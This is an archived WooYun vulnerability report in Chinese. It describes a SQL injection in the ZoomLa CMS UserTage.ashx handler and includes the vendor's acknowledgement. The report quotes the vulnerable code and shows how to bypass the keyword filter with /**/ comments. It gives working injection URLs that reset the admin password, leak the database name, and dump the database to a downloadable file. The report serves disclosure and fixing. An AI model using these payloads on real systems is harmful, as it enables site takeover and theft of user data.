当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056672

漏洞标题:逐浪CMS任意SQL游走CMS2 V1.4 V1.5、 CMS6.0均受影响(其他版本死链未测)

相关厂商:逐浪CMS

漏洞作者: Damo

提交时间:2014-04-11 16:29

修复时间:2014-07-10 16:30

公开时间:2014-07-10 16:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-11: 细节已通知厂商并且等待厂商处理中
2014-04-11: 厂商已经确认,细节仅向厂商公开
2014-04-14: 细节向第三方安全合作伙伴开放
2014-06-05: 细节向核心白帽子及相关领域专家公开
2014-06-15: 细节向普通白帽子公开
2014-06-25: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

问题出现在详细说明中

详细说明:

问题出现在

User\Develop\ashx\UserTage.ashx


代码片段:

try
{
M_Zone_Node MZN = new M_Zone_Node();
B_EditPage B_EP = new B_EditPage();
MZN.NodeID = Convert.ToInt32(nodeid);
MZN.UserID = B_U.GetLogin().UserID;
string strTemp = style;
string[] strStyle = strTemp.Split('|');
if (strStyle != null)
{
foreach (string str in strStyle)
{
string[] strLabel = str.Split('^');//对传递的参数进行截取
if (strLabel.Length == 2)
{
MZN.LabelID = strLabel[0];
MZN.style = strLabel[1];
DataTable dt = B_EP.SelLabelByLabelID(MZN);//判断是否包含
if (dt != null && dt.Rows.Count > 0)
{
B_EP.UpLabel(MZN);//包含则修改 --问题出现在此
}
else
{
B_EP.AddLabel(MZN);//不包含则添加
}
}
}
}


public int UpLabel(M_Zone_Node model)
{
return Sql.UpLabel(this.strTableName, "[style]=" + model.style, string.Concat(new object[] { "[UserID]=", model.UserID, " AND [NodeID]=", model.NodeID, " AND [LabelID]=", model.LabelID }), M_Zone_Node.GetParameters(model));
}
//参数被直接带入SQL 问题代码-- "[style]=" + model.style,
strSql = "UPDATE " + strTableName + " SET " + strSet;//问题代码
strSql = strSql + " WHERE " + strWhere;


那么这里我们构造SQL
(1)
这里值得注意的是 先提交(

http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222|2^333333

)然后再提交(1)原因在第一段代码中
但是这个地方是有防注入 咱们看一下逐浪的防注入代码 :

string str = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
foreach (string str2 in str.Split(new char[] { '|' }))
{
if (Str.IndexOf(str2) >= 0)
{
flag = false;
}
}


绕过方式 在关键字紧挨的地方加上/**/即可绕过
(2)
修改管理员密码:

http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;update ZL_Manager set AdminName='admin',AdminPassword='e10adc3949ba59abbe56e057f20f883e' where AdminID=1--|2^333333


(3)获取网站物理路径
然后用管理员账号登陆后台打开
http://192.168.0.103:8885/manage/Common/SystemFinger.aspx

.png


可得到物理程序路径 G:\程序发布\Zoomla!CMS2_x1.5\Zoomla!CMS2_x1.5源码\
(4)获取数据库
那么执行: http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;update/**/ dbo.ZL_User set Email=(select/**/ db_name()) where UserName='admin'--|2^333333
然后刷新自己资料

.png


得到数据库名称 ZoomLa1.5
(5)备份数据库并下载:

http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;backup database/**/ [ZoomLa1.5] to disk='G:\程序发布\Zoomla!CMS2_x1.5\Zoomla!CMS2_x1.5源码\123.rar';--|2^333333


然后访问http://192.168.0.103:8885/123.rar 即可下载数据库
有人会问 为什么备份成rar 其实是因为有些IIS没有设置bak的MIME
另外可以查看当前用户权限 如果sa的话 也可以备份其他数据库 提权 之类的各自淫荡吧

.png


漏洞证明:

.png


CMS2 V1.5

1.5.png


CMS2 V1.4

1.4.png


CMS 6.0

6.0.png


其他版本

.png


看修改时间 应该其他版本也受影响
主要是没有找到1.0 1.1 1.2 1.3 的资源

修复方案:

其他参数都参数化了 为何偏偏要偷懒一点那

Sql.UpLabel(this.strTableName, "[style]=" + model.style, string.Concat(new object[] { "[UserID]=", model.UserID, " AND [NodeID]=", model.NodeID, " AND [LabelID]=", model.LabelID }), M_Zone_Node.GetParameters(model));


sql注入有点小弱

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-04-11 18:09

厂商回复:

感谢反馈。

最新状态:

2014-04-12:已更新纠正,团队协作审查不严,必将加强改正。